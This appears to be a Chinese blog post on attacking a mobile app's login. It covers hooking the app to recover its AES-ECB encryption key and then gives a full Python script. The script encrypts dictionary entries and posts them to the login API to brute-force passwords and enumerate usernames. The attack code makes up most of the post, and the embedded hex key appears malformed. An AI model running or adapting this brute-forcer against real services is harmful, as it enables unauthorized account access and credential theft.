banner
毅种循环

毅种循环

请将那贻笑罪过以逐字吟咏 如对冰川投以游丝般倾诉

一键暴力无脑通杀非SO层加密算法

1#

测试一个 APP, 发现存在各种模拟器、代理检测之后终于可以能正常抓包了,抓包中又发现了一个难解的问题,就是对请求中的账号和密文信息进行加密了。

2#

用算法助手 HOOK 一下该 APP,算法助手使用如下:

首先启用 LSP 框架,作用域需要选择系统框架和需要调试的 APP。

image

算法助手中的设置打开算法分析,其他的不用更改。

image

抓包请求参数如下:

image

可以看到其中的 loginName 和 passwd 参数加密了。

查看一下算法助手是否 hook 到了加密算法。

image

主要算法内容看着一块,上面的内容可以解析为:

AES 算法 ECB 模式 填充为 PKCS5 密钥长度为 256 位

其中的加密密钥就是 key,可以利用在线加解密去验证一下这一块内容,如下:

image

完成正确即代表 HOOK 到算法了,接下来可以利用 autodecoder 作为 burp 中间件进行转发,实现加解密自动化,我本地 burp 没装那个插件,下面提供一个直接用 Python 进行加解密算法的例子。

import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import binascii
import argparse

# HTTP请求
base_url = "https://XXXX/api"
original_headers = {
    "appId": "1218209dc6d54e60bcb17bf28569c947",
    "timestamp": "2025-04-14 10:22:01",
    "Content-Type": "application/x-www-form-urlencoded",
    "Host": ":XXXX",
    "Connection": "Keep-Alive",
    "Accept-Encoding": "gzip",
    "User-Agent": "okhttp/3.8.1"
}
original_login_name = "667A4287C89AC3F5A97C966817DB9B9E"
original_password = "096AABFD2432F788F15A131F613B19D3"

# 加密参数
key_hex = "69686c69682a303033374a4"
key_bytes = binascii.unhexlify(key_hex)
mode = AES.MODE_ECB
padding_method = 'pkcs7'
block_size = AES.block_size

def encrypt(plaintext, key, mode, padding_method):
    """使用提供的参数进行 AES 加密。"""
    cipher = AES.new(key, mode)
    plaintext_bytes = plaintext.encode('utf-8')
    padded_plaintext = pad(plaintext_bytes, block_size, style=padding_method)
    ciphertext_bytes = cipher.encrypt(padded_plaintext)
    ciphertext_hex = binascii.hexlify(ciphertext_bytes).decode('utf-8')
    return ciphertext_hex

def read_dictionary_from_file(file_path):
    """从文件中读取字典,每行一个条目。"""
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            return [line.strip() for line in f]
    except FileNotFoundError:
        print(f"错误: 文件未找到: {file_path}")
        return []

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="自动化爆破登录接口。")
    parser.add_argument("-m", "--mode", type=int, choices=[1, 2], required=True,
                        help="爆破模式: 1 - 只爆破用户名, 2 - 只爆破密码")
    parser.add_argument("-u", "--userfile", type=str, help="包含用户名字典的文件路径")
    parser.add_argument("-p", "--passfile", type=str, help="包含密码字典的文件路径")

    args = parser.parse_args()

    if args.mode == 1:
        if not args.userfile:
            print("错误: 在爆破用户名模式下,必须提供用户名字典文件。")
            exit(1)
        usernames = read_dictionary_from_file(args.userfile)
        if not usernames:
            exit(1)
        print("开始爆破用户名...")
        for username in usernames:
            encrypted_username = encrypt(username, key_bytes, mode, padding_method)
            data = {
                "loginName": encrypted_username,
                "passWord": original_password,
                "deviceID": "",
                "controllerName": "Login",
                "methodsName": "UserLogin"
            }
            try:
                response = requests.post(base_url, headers=original_headers, data=data)
                print(f"尝试用户名 (明文): {username}, 加密后: {encrypted_username}")
                print(f"响应状态码: {response.status_code}")
                print(f"响应内容: {response.text}")
                print("-" * 30)
            except requests.exceptions.RequestException as e:
                print(f"发送请求时发生错误: {e}")
                print("-" * 30)
        print("用户名爆破完成。")

    elif args.mode == 2:
        if not args.passfile:
            print("错误: 在爆破密码模式下,必须提供密码字典文件。")
            exit(1)
        passwords = read_dictionary_from_file(args.passfile)
        if not passwords:
            exit(1)
        print("开始爆破密码...")
        for password in passwords:
            encrypted_password = encrypt(password, key_bytes, mode, padding_method)
            data = {
                "loginName": original_login_name,
                "passWord": encrypted_password,
                "deviceID": "",
                "controllerName": "Login",
                "methodsName": "UserLogin"
            }
            try:
                response = requests.post(base_url, headers=original_headers, data=data)
                print(f"尝试密码 (明文): {password}, 加密后: {encrypted_password}")
                print(f"响应状态码: {response.status_code}")
                print(f"响应内容: {response.text}")
                print("-" * 30)
            except requests.exceptions.RequestException as e:
                print(f"发送请求时发生错误: {e}")
                print("-" * 30)
        print("密码爆破完成。")

实现用户名枚举操作:
image

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。